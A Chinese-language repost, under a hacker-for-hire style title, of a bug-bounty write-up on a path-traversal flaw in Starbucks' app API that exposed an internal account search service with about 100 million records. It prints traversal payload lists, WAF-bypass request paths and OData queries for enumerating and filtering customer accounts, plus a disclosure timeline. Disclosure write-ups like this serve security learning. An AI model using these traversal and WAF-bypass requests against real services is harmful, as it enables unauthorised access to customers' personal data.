黑客24小时在线接单网站

Sam花了一整天的尝试，仍然没有在Verizon Media漏洞赏金计划中有所收获，于是，他决定先退出做一些其他事情。他上网准备订购星巴克的礼品卡，作为朋友的生日礼物。

当sam在星巴克官网上试图购买时，他发现了API调用的可疑之处：在以“ / bff / proxy /”为前缀的API下发送了一些请求，但这些请求返回的数据似乎来自另一台主机。

正好，由于星巴克有一个漏洞赏金计划，于是，继续研究下去吧。

以下是返回sam的用户信息的其中之一的API调用示例：

POST/bff/proxy/orchestra/get-userHTTP/1.1

Host:app.starbucks.com

{

"data":{

"user":{

"exId":"77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",

"firstName":"Sam",

"lastName":"Curry",

"email":"samwcurry@gmail.com",

"partnerNumber":null,

"birthDay":null,

"birthMonth":null,

"loyaltyProgram":null

}

}

}

在上面的示例中，“ app.starbucks.com”主机将无法访问通过特定端点访问的数据，但可以充当假设的第二个主机的代理或中间人，“internal.starbucks.com”。

这里要考虑的一些有趣的事情是……

• 我们如何测试应用程序的路由?
• 如果应用程序将请求路由到内部主机，则权限模型是什么样的?
• 我们可以控制发送到内部主机的请求中的路径或参数吗?
• 内部主机上是否有开放重定向，如果有，应用程序将遵循开放重定向吗?
• 返回的内容是否必须匹配适当的类型(是否解析JSON，XML或任何其他数据?)

Sam做的第一件事是尝试遍历API调用，以便可以加载其他路径，而执行此操作的方式是发送以下负载：

/bff/proxy/orchestra/get-user/..%2f

/bff/proxy/orchestra/get-user/..;/

/bff/proxy/orchestra/get-user/../

/bff/proxy/orchestra/get-user/..%00/

/bff/proxy/orchestra/get-user/..%0d/

/bff/proxy/orchestra/get-user/..%5c

/bff/proxy/orchestra/get-user/..\

/bff/proxy/orchestra/get-user/..%ff/

/bff/proxy/orchestra/get-user/%2e%2e%2f

/bff/proxy/orchestra/get-user/.%2e/

/bff/proxy/orchestra/get-user/%3f(?)

/bff/proxy/orchestra/get-user/%26(&)

/bff/proxy/orchestra/get-user/%23(#)

可惜的是，这些都不起作用。它们都返回了我通常会看到的相同的404页面……

在这种情况下，我们可以将“ / bff / proxy / orchestra / get-user”视为我们正在调用的未包含用户输入的函数。同时，我们有机会找到一个确实接受用户输入的函数，例如“ / bff / proxy / users /：id”，在这里我们有足够的空间测试它将接受的数据。如果我们发现这样的API调用，那么尝试遍历有效负载并发送其他数据(实际上是在用户输入中接收)可能会更有帮助。

Sam仔细留意这个App，发现了更多的API调用。而他发现的接受用户输入的第一个信息是：

GET/bff/proxy/v1/me/streamItems/:streamItemIdHTTP/1.1

Host:app.starbucks.com

这个端点不同于“get user”端点，因为最后一个路径作为参数存在，在其中提供了任意输入。如果将此输入作为内部系统上的路径处理，那么完全可能遍历它并访问其他内部端点。

幸运的是，sam尝试的第一个测试返回了一个非常好的指标，表明可以遍历端点：

GET/bff/proxy/stream/v1/users/me/streamItems/..\HTTP/1.1

Host:app.starbucks.com

{

"errors":[

{

"message":"NotFound",

"errorCode":404,

...

这个JSON响应与“ / bff / proxy”下所有其他常规API调用的JSON响应相同。这表明sam正在使用内部系统，并且已经成功地修改了正在与之交谈的路径。下一步将是映射内部系统，而做到这一点的最佳方法将是通过标识返回“ 400错误请求”的第一条路径遍历到根。

但很快，sam遇到了一个障碍。有一个WAF让他不能深入两个目录：

GET/bff/proxy/stream/v1/users/me/streamItems/..\..\HTTP/1.1

Host:app.starbucks.com

HTTP/1.1403Forbidden

不过，这个WAF很弱……

GET/bff/proxy/v1/me/streamItems/web\..\.\..\HTTP/1.1

Host:app.starbucks.com

{

"errors":[

{

"message":"NotFound",

"errorCode":404,

...

最终，在返回7条路径后，sam收到了以下错误：

GET/bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\HTTP/1.1

Host:app.starbucks.com

{

"errors":[

{

"message":"BadRequest",

"errorCode":400,

...

这意味着内部API的根是6个返回路径，可以使用目录暴力破解工具或Burp Suite的入侵者和单词列表将其映射出来。

此时，sam对这个漏洞更加感兴趣了，他和Justin Gardner进行了探讨。

而Justin Gardner几乎立即在内部系统的根目录下识别出许多路径，方法是观察到对这些路径的HTTP请求，之后如果没有正斜杠，就会使用Burp的入侵者返回重定向代码：

GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search

Host:app.starbucks.com

HTTP/1.1301MovedPermanently

Server:nginx

Content-Type:text/html

Content-Length:162

Location:/search/

Justin致力于寻找所有端点时，sam开始逐一研究每个目录。运行完自己的扫描后，sam发现“搜索”下有“v1”，而“v1”下有“账户”和“地址”。

于是，他给Justin发了一条消息，想想如果“ / search / v1 / accounts”端点是对所有生产帐户的搜索，那将是多么有趣……

而事实，果然如此。“ / search / v1 / accounts”可以访问所有星巴克帐户的Microsoft Graph实例。

GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\HTTP/1.1

Host:app.starbucks.com

{

"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

"value":[

{

"Id":1,

"ExternalId":"12345",

"UserName":"UserName",

"FirstName":"FirstName",

"LastName":"LastName",

"EmailAddress":"0640DE@example.com",

"Submarket":"US",

"PartnerNumber":null,

"RegistrationDate":"1900-01-01T00:00:00Z",

"RegistrationSource":"iOSApp",

"LastUpdated":"2017-06-01T15:32:56.4925207Z"

},

...

lotsofproductionaccounts

此外，“地址”端点返回了类似的信息……

GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\HTTP/1.1

Host:app.starbucks.com

{

"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Addresses",

"value":[

{

"Id":1,

"AccountId":1,

"AddressType":"3",

"AddressLine1":null,

"AddressLine2":null,

"AddressLine3":null,

"City":null,

"PostalCode":null,

"Country":null,

"CountrySubdivision":null,

"FirstName":null,

"LastName":null,

"PhoneNumber":null

},

...

lotsofproductionaddresses

它是为生产帐户和地址提供的服务。随后，sam开始进一步探索该服务，以使用Microsoft Graph功能进行确认。

GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true

Host:app.starbucks.com

{

"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

"@odata.count":99356059

}

通过从Microsoft Graph URL添加“ $ count”参数，可以确定该服务具有近1亿条记录。攻击者可以通过添加“ $ skip”和“ $ count”之类的参数枚举所有用户帐户来窃取此数据。

此外，要查明特定的用户帐户，攻击者可以使用“ $ filter”参数：

GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted')HTTP/1.1

Host:app.starbucks.com

{

"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Accounts",

"value":[

{

"Id":81763022,

"ExternalId":"59d159e2-redacted-redacted-b037-e8cececdf354",

"UserName":"redacted@gmail.com",

"FirstName":"Justin",

"LastName":"Gardner",

"EmailAddress":"redacted@gmail.com",

"Submarket":"US",

"PartnerNumber":null,

"RegistrationDate":"2018-05-19T18:52:15.0763564Z",

"RegistrationSource":"Android",

"LastUpdated":"2020-05-16T23:28:39.3426069Z"

}

]

}

最后，sam还发现的其他一些端点，可能(尚未确认)使攻击者能够访问和修改帐单地址、礼品卡、奖励和优惠等内容。

barcode,loyalty,appsettings,card,challenge,content,identifier,identity,onboarding,orderhistory,permissions,product,promotion,account,billingaddress,enrollment,location,music,offers,rewards,keyserver

时间线

• 5月16日报道
• 5月17日补丁
• 5月19日颁发赏金(4000美元)
• 6月16日公开

参考链接：https://samcurry.net/hacking-starbucks/